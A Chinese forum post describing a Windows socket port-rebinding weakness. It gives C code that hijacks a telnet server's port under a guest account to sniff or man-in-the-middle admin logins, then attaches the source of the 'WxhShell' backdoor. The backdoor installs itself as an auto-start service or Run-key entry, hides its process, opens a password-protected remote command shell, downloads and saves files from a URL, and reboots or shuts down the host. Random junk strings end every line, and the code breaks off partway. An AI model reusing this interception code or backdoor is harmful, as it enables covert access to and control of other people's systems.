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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }!Diai*C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }{kTh%^  
aG8D%i0  
  saddr.sin_family = AF_INET; q563,s  
?2;n=&ZM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g~^{-6Vg  
ot>EnHfV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Rbj+P;t&  
Kt4\&l-De  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z:i X]df  
w /W Cj4`  
  这意味着什么?意味着可以进行如下的攻击: fN"oa>X  
A9qO2kq7_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y)4Nydq  
ELgae1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NBg>i7KQ  
-t~B@%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ![P(B0Ct/  
~0^,L3M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hdq/E>u  
U@v8H!p^i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y?vm%t`K  
|`(?<m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]tdo&  
1$!RKqT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |jaY[_ .@  
U3 8wGSG  
  #include VG'(   
  #include [P&,}o)+E0  
  #include ?_Dnfa_  
  #include    #G!Adj+p5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gh #w%g1g  
  int main() y~A7pzBZ=  
  { l-^XW?CfL  
  WORD wVersionRequested; NKUI! [  
  DWORD ret; $vGEY7,  
  WSADATA wsaData; iq^L~RW5e  
  BOOL val; :UhFou_D4l  
  SOCKADDR_IN saddr; 6kF uMtjc  
  SOCKADDR_IN scaddr; 4gv XJK-  
  int err; 'G3OZj8  
  SOCKET s; $m: a-.I  
  SOCKET sc; u$%#5_k  
  int caddsize; |phWK^   
  HANDLE mt; (Y.$wMB  
  DWORD tid;   uQ%HLL-W/  
  wVersionRequested = MAKEWORD( 2, 2 ); {!g.255+  
  err = WSAStartup( wVersionRequested, &wsaData ); V\M!]Nnxr  
  if ( err != 0 ) { 'y M:W cN  
  printf("error!WSAStartup failed!\n"); ^Lfn3.M  
  return -1; pTX'5   
  } !VJa$>,  
  saddr.sin_family = AF_INET; x"wM_hl5L  
   \lbiz4^>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \IZ4( Z  
(z1%lZ}(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vYt:}$AE  
  saddr.sin_port = htons(23); 9c;lTl^4;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UH^wyK bM  
  { +#I~#CV!  
  printf("error!socket failed!\n"); o&F.mYnqX  
  return -1; O+o%C*`K  
  } "g:&Ge*X  
  val = TRUE; zkMO3w>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qp_ `Fj:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /GSI.tO  
  { ,/b/O4`;y  
  printf("error!setsockopt failed!\n"); |16BidWi  
  return -1; ^R'!\m|FR  
  } XsN#<"f;i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ccRk4xR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4%v+ark8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,WDAcQ8\  
6-X?uaY)os  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hYZ:" x  
  { :kx#];2i  
  ret=GetLastError(); 4b(irDT3F  
  printf("error!bind failed!\n"); 4p.{G%h  
  return -1; zT-"kK  
  } Okg8Ve2  
  listen(s,2); =]xk-MY"|R  
  while(1) VUv.Tx]Z[  
  { K9M.+d4  
  caddsize = sizeof(scaddr); rnhf(K.{3  
  //接受连接请求 75}u D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e/Oj T  
  if(sc!=INVALID_SOCKET) kt3#_d^El  
  { <$ZT]pT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G~tOCp="p  
  if(mt==NULL) ^oB1 &G  
  { 1&pP}v ?  
  printf("Thread Creat Failed!\n"); |M/ \'pOe  
  break; y{?jr$js<  
  } FuiW\=^  
  } {uM{5GSL  
  CloseHandle(mt); jp]geV54  
  } 3cFLU^  
  closesocket(s); %+! 9  
  WSACleanup();  ~0'l,  
  return 0; IIn\{*|mW  
  }   ?jm2|:  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8oH54bFp  
  { 3 <lhoD  
  SOCKET ss = (SOCKET)lpParam; ?~Ed n-" Y  
  SOCKET sc; \fR:+rbQ&|  
  unsigned char buf[4096]; &q}@[ )V4  
  SOCKADDR_IN saddr; h16Nr x  
  long num; nN\XVGP,t  
  DWORD val; #Ii.tTk  
  DWORD ret; nW%=k!''  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p33GKg0i+(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vhEs+ j  
  saddr.sin_family = AF_INET; # %y{mn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x,c68Q)g  
  saddr.sin_port = htons(23); `6sQlCOnF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aw"%B-N \  
  { }3_G|  
  printf("error!socket failed!\n"); <T/L.>p4  
  return -1; &2]D+aL|h  
  } >T^v4A  
  val = 100; r8?Lr-;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q<uLBaL_]r  
  { <~X6D?  
  ret = GetLastError(); +<WT$ddK=5  
  return -1; KR(ftG'  
  } t8N9/DZ}Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1p<?S}zg@  
  { :tG".z  
  ret = GetLastError(); K y2xWd8  
  return -1; wXGFq3`  
  } |M>k &p,B-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4H? Ma|,  
  { CPeK0(7Zh  
  printf("error!socket connect failed!\n"); I3$vw7}5Y  
  closesocket(sc); WA\f`SRF  
  closesocket(ss); +i!M[  
  return -1; B[|/wHMsT}  
  } gj;G:;1m  
  while(1) uWj-tzu  
  { 76r s)J[*w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F_ Cz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3A}8?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Du4#\OK  
  num = recv(ss,buf,4096,0); 1CVaGD^r{  
  if(num>0) qAik$.  
  send(sc,buf,num,0); =F[,-B~  
  else if(num==0) 2=M!lB *  
  break; =~m"TQv  
  num = recv(sc,buf,4096,0); -XG$ 0  
  if(num>0) , tj7'c$0  
  send(ss,buf,num,0); L^s;kkB  
  else if(num==0) 8J1.(Mwb?  
  break; bK1`a{  
  } \bSHBTK  
  closesocket(ss); IE f^.Z  
  closesocket(sc); =I}V PxhE7  
  return 0 ; h*Tiv^a  
  } ]qHO{b4k  
vkgL"([_  
Q^w]Nj(e_  
========================================================== ?R:Hj=.  
ve^MqW&S  
下边附上一个代码,,WXhSHELL EC#10.  
*~^^A9C8  
========================================================== c6)zx b  
kxwm08/|f  
#include "stdafx.h" O^% ace1  
/k"P4\P`+Q  
#include <stdio.h> %~2m$#)  
#include <string.h> ^v|!(h\ZC  
#include <windows.h> Hv*O9!cC  
#include <winsock2.h> x,_Ucc.  
#include <winsvc.h> 1&"1pH  
#include <urlmon.h> 0^Cx`xdX:  
4344PBj  
#pragma comment (lib, "Ws2_32.lib") @cGql=t  
#pragma comment (lib, "urlmon.lib") bM3e7olWS  
S]g)^f'a65  
#define MAX_USER   100 // 最大客户端连接数 li P{Mu/LO  
#define BUF_SOCK   200 // sock buffer e,UgTxZ  
#define KEY_BUFF   255 // 输入 buffer q~_jF$9SX  
i=QhX CM  
#define REBOOT     0   // 重启 iUBni&B  
#define SHUTDOWN   1   // 关机 ttVSgKAsm  
BIyG[y?qO  
#define DEF_PORT   5000 // 监听端口 o2jB~}VMl  
hDMp^^$  
#define REG_LEN     16   // 注册表键长度 =oDrN7`,B  
#define SVC_LEN     80   // NT服务名长度 "iGc'?/+  
n #/m7  
// 从dll定义API our5k   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qJj5J;k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9V\`{(R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s%|J(0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `BD`pa7.%  
7S Zs/wWh%  
// wxhshell配置信息 jQ}| ]pj+  
struct WSCFG { sTyGi1  
  int ws_port;         // 监听端口 /^G+vhlf\  
  char ws_passstr[REG_LEN]; // 口令 ~vF o 0k(  
  int ws_autoins;       // 安装标记, 1=yes 0=no a$8?0` (  
  char ws_regname[REG_LEN]; // 注册表键名 b] V=wZ o  
  char ws_svcname[REG_LEN]; // 服务名 i(HhL&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^O m]B;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ek!N eu>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E5Jk+6EcMa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y))sk-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vq:j?7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cn:VEF:l  
1j,Y  
}; xRN$cZC  
I5?LD=tt  
// default Wxhshell configuration -',Y;0b%  
struct WSCFG wscfg={DEF_PORT, h%S#+t(Bf  
    "xuhuanlingzhe", -wRzMT19MG  
    1, .`XA6e(8KR  
    "Wxhshell", $@;[K \  
    "Wxhshell", IRa*}MJe  
            "WxhShell Service", {*9i}w|2  
    "Wrsky Windows CmdShell Service", ?]N&H90^5  
    "Please Input Your Password: ", Q-5wI$=  
  1, +%v4Ci"%y  
  "http://www.wrsky.com/wxhshell.exe", ;7>--_?=  
  "Wxhshell.exe" S(l^TF  
    }; iI0'z=J  
\-yi#N  
// 消息定义模块 "(qO}&b>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7F\g3^ z9`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nl _Jp:8s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |0-L08DW  
char *msg_ws_ext="\n\rExit."; $49tV?q5  
char *msg_ws_end="\n\rQuit."; + aF jtb  
char *msg_ws_boot="\n\rReboot..."; !ZW0yCwLQ  
char *msg_ws_poff="\n\rShutdown..."; nv]64mL3  
char *msg_ws_down="\n\rSave to "; [bXZPIz;j  
:9Pqy pd+  
char *msg_ws_err="\n\rErr!"; Fu$sfq  
char *msg_ws_ok="\n\rOK!"; 'P#I<?vB  
jtwO\6 t&  
char ExeFile[MAX_PATH]; ',pPs=  
int nUser = 0; i^l;PvIF  
HANDLE handles[MAX_USER]; Nfh(2g K+  
int OsIsNt; iy9]Y5b   
$@Fj_ N  
SERVICE_STATUS       serviceStatus; j;.&+.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,e,{6Sg6gl  
)Be;Zw.|  
// 函数声明 R?Qou!*]  
int Install(void); J:a^''  
int Uninstall(void); ZlzFmNe60  
int DownloadFile(char *sURL, SOCKET wsh); d mO|PswW  
int Boot(int flag); ~-/AKaK}  
void HideProc(void); m/AN*` V  
int GetOsVer(void); FCPbp!q6  
int Wxhshell(SOCKET wsl); /2@@v|QL  
void TalkWithClient(void *cs); @ 2_&ti  
int CmdShell(SOCKET sock); w[&BY  
int StartFromService(void); vI@8DWs  
int StartWxhshell(LPSTR lpCmdLine); we9AB_y  
{ex]_V>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8ZDq KQ1;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xT/&'$@{)  
W+E2({  
// 数据结构和表定义 &AVi4zV  
SERVICE_TABLE_ENTRY DispatchTable[] = zl5S)/A  
{ 3^Y-P8.zdB  
{wscfg.ws_svcname, NTServiceMain},  ^8iy(  
{NULL, NULL} ITV}f#  
}; hGeRM4zVZZ  
vY6|V$  
// 自我安装 xjpW<-)MLf  
int Install(void) ' e@}N)IX  
{ 'Vd>"ti  
  char svExeFile[MAX_PATH]; ?)&TewP  
  HKEY key; s5HbuyR^  
  strcpy(svExeFile,ExeFile); 7^F?key?  
/<@tbZJ*8  
// 如果是win9x系统,修改注册表设为自启动 >+r2I%  
if(!OsIsNt) { vh C"f*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tdm /U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VbjFQ@[l!  
  RegCloseKey(key); 1tDN$rM5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~xCy(dL^}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fu/c)D6u*m  
  RegCloseKey(key); w#XJ!f6*_9  
  return 0; >Vvc55z  
    } Evc 9k  
  } &}r932  
} X {$gdz8S9  
else { 1X5\VY>S`h  
cQny)2k*x  
// 如果是NT以上系统,安装为系统服务 /[OMpP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k8TMdWW  
if (schSCManager!=0) >&R|t_ypw  
{ yWuq/J:  
  SC_HANDLE schService = CreateService s5.2gu|"%  
  ( QS_u<B  
  schSCManager, o,-@vp  
  wscfg.ws_svcname, GCoqKE  
  wscfg.ws_svcdisp, JF7T1T  
  SERVICE_ALL_ACCESS, -[=`bHo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X:A\{^ ~  
  SERVICE_AUTO_START, >nxtQ  
  SERVICE_ERROR_NORMAL, c1`o3gb  
  svExeFile, TsQMwV_h  
  NULL, MAXdgL[]  
  NULL, 1\Mcs X4  
  NULL, p82qFzq#  
  NULL, i=ba=-"Mt  
  NULL ]O[f#lG  
  ); MI/1uw  
  if (schService!=0) ]mp.KvB  
  { __QT lj  
  CloseServiceHandle(schService); KH;e)91  
  CloseServiceHandle(schSCManager); eR/7*G5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^%L$$V nG  
  strcat(svExeFile,wscfg.ws_svcname); bke 1 F '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gi-tf<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u1uY*p  
  RegCloseKey(key); mUjA9[@   
  return 0;  oDC3AK&  
    } VbN]z:  
  } W`Soa&9  
  CloseServiceHandle(schSCManager); ZA!vxQ?P,  
} Q~9:}_@  
} JwO+Dd  
m*'#`vIbb  
return 1; * .e^s3q$  
} dG| iA]  
=X`/.:%|[  
// 自我卸载 M1^pW 63  
int Uninstall(void) qAm%h\  
{ (HTVSC%=  
  HKEY key; c[5>kQ-nq  
0<Y)yNsV  
if(!OsIsNt) { +,smjg:O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' o 5,P/6  
  RegDeleteValue(key,wscfg.ws_regname); n8?gZ` W  
  RegCloseKey(key); *"#>Ov>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GB -=DC6  
  RegDeleteValue(key,wscfg.ws_regname); pY2nv/  
  RegCloseKey(key);  6} 9A0  
  return 0; )b =$!  
  } 'K0Y@y  
} 4U((dx*m  
} os>|LPv4  
else { 9TF[uC)-2  
DI*xf Kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a`T{ 5*@  
if (schSCManager!=0) #hai3>9|B  
{ Hi ?],5,/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E_h9y  
  if (schService!=0) cD{[rI E3  
  { r6^DD$X  
  if(DeleteService(schService)!=0) { ]Z~H9!%t  
  CloseServiceHandle(schService); `0sa94H1[  
  CloseServiceHandle(schSCManager); ;a68>5Lm*  
  return 0; 4Q$\hO3b  
  } 'Ct+0X:D  
  CloseServiceHandle(schService); k\EMO\je  
  } ?J>^X-z  
  CloseServiceHandle(schSCManager); 4 0Du*5M  
} ?-(E$ll  
} T-27E$0  
}g3)z%Xe'[  
return 1; {&/q\UQ  
} 4b4nFRnH  
D3I;5m`_  
// 从指定url下载文件 nGRF< 2!  
int DownloadFile(char *sURL, SOCKET wsh) 7OT}V}iP  
{ d/;oNC+  
  HRESULT hr; }ulFW]A^7  
char seps[]= "/"; A}$A~g5 Ap  
char *token; 8Uc#>Ae'_  
char *file; s,0,w--=  
char myURL[MAX_PATH]; e'u 9 SpJ  
char myFILE[MAX_PATH]; _$1W:!f4  
><$hFrR!  
strcpy(myURL,sURL); f~E'0f_  
  token=strtok(myURL,seps); M'*  Y  
  while(token!=NULL) & K7+V  
  { qwnC{  
    file=token; 9#1lxT4%  
  token=strtok(NULL,seps); cP(/+ /9  
  } BM:je(*p  
o\2#o5#  
GetCurrentDirectory(MAX_PATH,myFILE); Fm*O&6W\@A  
strcat(myFILE, "\\"); s7=]!7QGS!  
strcat(myFILE, file); -FJ 5N}R  
  send(wsh,myFILE,strlen(myFILE),0); yaeX-'(Fv[  
send(wsh,"...",3,0); k{9s>l~'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5HmX-+XpK  
  if(hr==S_OK) Xmtq~}K>  
return 0; 7XdLZ4ub  
else lqu1H&  
return 1; &C?]n.A  
5?QR  
} @ j' I  
ji">} -  
// 系统电源模块 h(>4%hF  
int Boot(int flag) ^f>+5G  
{ Y0U:i.)  
  HANDLE hToken; p=eSHs{>A  
  TOKEN_PRIVILEGES tkp; l^&#fz  
U{HJNftdpm  
  if(OsIsNt) { cp[k[7XGD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M7En%sBp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Sr7a {  
    tkp.PrivilegeCount = 1; pnDD9u-4;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7ej"q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LR}b^QU7  
if(flag==REBOOT) { ~`T3 i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \U,.!'+  
  return 0; GYCc)Guc  
} eFbr1IV  
else { g3j@o/Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WFy90*@Z  
  return 0; M" %w9)@  
} '@rGX+"  
  } v dyu=*Y  
  else { *YYm;J'  
if(flag==REBOOT) { Q-(twh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pr/K5aJeg  
  return 0; {R]4N]l>  
} )mJl-u[0+  
else { H$WuT;cTE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 zK%CJ  
  return 0; ~- JkuRJ\  
} lY0^Z  
} &R>x;&Gj  
HBeOK  
return 1; f0}+8JW5h  
}  H 2\KI(  
d+Pfi)+(I  
// win9x进程隐藏模块 BY6QJkI9x  
void HideProc(void) PWx2<t<;9  
{ &`GQS|  
ho;Km  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sZ7{_}B  
  if ( hKernel != NULL ) EnZrnoGM  
  { %YA=W=Yd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @~xNax&^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4)i/B99k  
    FreeLibrary(hKernel); /N]?>[<NW  
  } Tw);`&Ulo  
PO ]z'LD  
return; cYq<.A(hVj  
} Whod_Uk  
g#T8WX{(V  
// 获取操作系统版本 #:e52=  
int GetOsVer(void) RT4ns+J1  
{ %Gv8 ]Yb  
  OSVERSIONINFO winfo; O\=3{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5L%A5C&|  
  GetVersionEx(&winfo); }LN +V~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l+Uy  
  return 1; :6./yj(  
  else d7qHUx'=z  
  return 0; N)WAzH  
} xm6cn\e  
2mWW0txil  
// 客户端句柄模块 `)/G5 fB  
int Wxhshell(SOCKET wsl) |#Z:v1]"  
{ '/J}T -,Z  
  SOCKET wsh; a$l  
  struct sockaddr_in client; +K])&}Dw  
  DWORD myID; inBBU[Sl  
D}r,t_]Eb  
  while(nUser<MAX_USER) bT2b)nf  
{ Yc BY[i0  
  int nSize=sizeof(client); M`-.0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bO^#RVH  
  if(wsh==INVALID_SOCKET) return 1; 5VDqx@(  
%tT&/F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5^~%10=  
if(handles[nUser]==0) |x3.r t  
  closesocket(wsh); m(L]R(t  
else  LkD$\i  
  nUser++; D9*GS_K2 t  
  } 4N|^Joi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $z)r(N$  
qCi6kEr  
  return 0; %(79;#2`  
} 2j+v\pjYC  
}Zu>?U  
// 关闭 socket xv4_q-r[  
void CloseIt(SOCKET wsh) lU`]yL  
{ SxdH %agM  
closesocket(wsh); /pt%*;H  
nUser--; \cP\I5IW:s  
ExitThread(0); W9D]s~bO;  
} ?6P P_QY  
QWp,(Mv:r  
// 客户端请求句柄 `L/kwVl  
void TalkWithClient(void *cs) o}C|N)'  
{ DG}} S 5  
v}q3_m]   
  SOCKET wsh=(SOCKET)cs; I ww.Nd2  
  char pwd[SVC_LEN]; gNY}`'~hr  
  char cmd[KEY_BUFF]; P,^`|\#7  
char chr[1]; E"ijNs  
int i,j; 7{e0^V,\k  
z|; 7;TwA  
  while (nUser < MAX_USER) { d h#4/Wa,  
rLw3\>y  
if(wscfg.ws_passstr) { n7>CK?25  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6r4o47_t8#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S-&[Tp+N  
  //ZeroMemory(pwd,KEY_BUFF); q-P$ \":  
      i=0; uDJi2,|n  
  while(i<SVC_LEN) { ~3< Li}W  
#Cks&[!c  
  // 设置超时 +P2f<~  
  fd_set FdRead; X YO09#>&  
  struct timeval TimeOut; 'yuM=Pb  
  FD_ZERO(&FdRead); :_E q(r  
  FD_SET(wsh,&FdRead); x2(!r3a  
  TimeOut.tv_sec=8; .>NhC"  
  TimeOut.tv_usec=0; Yj99[ c#]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v<c~ '?YzO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bt[OGa(q  
&(UVS0=Dp,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K<'L7>s3lA  
  pwd=chr[0]; pCS2sq8RC  
  if(chr[0]==0xd || chr[0]==0xa) { 6m"_=.k%  
  pwd=0; %T4htZa  
  break; b1Bu5%bt,:  
  } #K:|@d  
  i++; `@eo <6  
    } Y>LgpO.  
E~Eh'>Y(B  
  // 如果是非法用户,关闭 socket +Bk" khH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |d\ rCq >  
} OoL#8R  
STmn%&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I%.KFPV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ds-p[`[m  
*)+1BYMo  
while(1) { lX$6U| !  
W&23M26"{  
  ZeroMemory(cmd,KEY_BUFF); *T\- iICw  
0O+[z9  
      // 自动支持客户端 telnet标准   YcW[BMy5h  
  j=0; gU1E6V-Jm  
  while(j<KEY_BUFF) { -S5M>W.Qb{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *<?or"P  
  cmd[j]=chr[0]; $ K1 /^  
  if(chr[0]==0xa || chr[0]==0xd) { vcTWe$;Q  
  cmd[j]=0; q y"VrR  
  break; Sp8Xka~5*#  
  } d1$3~Xl]  
  j++; Blv!%es  
    } Z |wM  
SJ$N]<d  
  // 下载文件 _X5@%/Vz  
  if(strstr(cmd,"http://")) { 9fp@d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <>\s#Jf/  
  if(DownloadFile(cmd,wsh)) PF5;2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJ kaP  
  else &iCE/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vM@2C'  
  } U%oh ?g  
  else { 3~ITvH,`s  
]4f;%pE  
    switch(cmd[0]) { <j"}EEb^  
  m:|jv|f  
  // 帮助 Esh3 cn4  
  case '?': { NMq#D$T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <%WN<T{q|  
    break; Z@ AHe`A  
  } I`Goc!5t  
  // 安装 pUtd_8  
  case 'i': { *PQu9>1w  
    if(Install()) v,z s dr"d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ci`O hT  
    else Z^?1MJ:`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(#)[S,  
    break; eHr|U$Rpo  
    } r~ gjn`W  
  // 卸载 `tZu~ n  
  case 'r': { bH+x `]{A  
    if(Uninstall()) +76{S_CZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ds@X%L;_  
    else .Y B}w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HsrIw  
    break; c"qaULY  
    } E+wd9/;  
  // 显示 wxhshell 所在路径 f4.k%|]  
  case 'p': { qFEGV+  
    char svExeFile[MAX_PATH]; ~P&Brn"=Rs  
    strcpy(svExeFile,"\n\r"); .KiJq:$H  
      strcat(svExeFile,ExeFile); WmU5YZ(mAq  
        send(wsh,svExeFile,strlen(svExeFile),0); WXz'H),R  
    break; ;M,u,KH)/  
    } C? pi8Xg  
  // 重启 +-_71rJc.  
  case 'b': { -"J6 |Y#8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ="E^9!  
    if(Boot(REBOOT)) 3I!xa*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~x<nz/^  
    else { s|iph~W!L  
    closesocket(wsh); C9l5zb~D  
    ExitThread(0); (eX9O4  
    } huh-S ,M  
    break; 1,cd[^`.  
    } Gok8:,  
  // 关机 ,Qvclu8r  
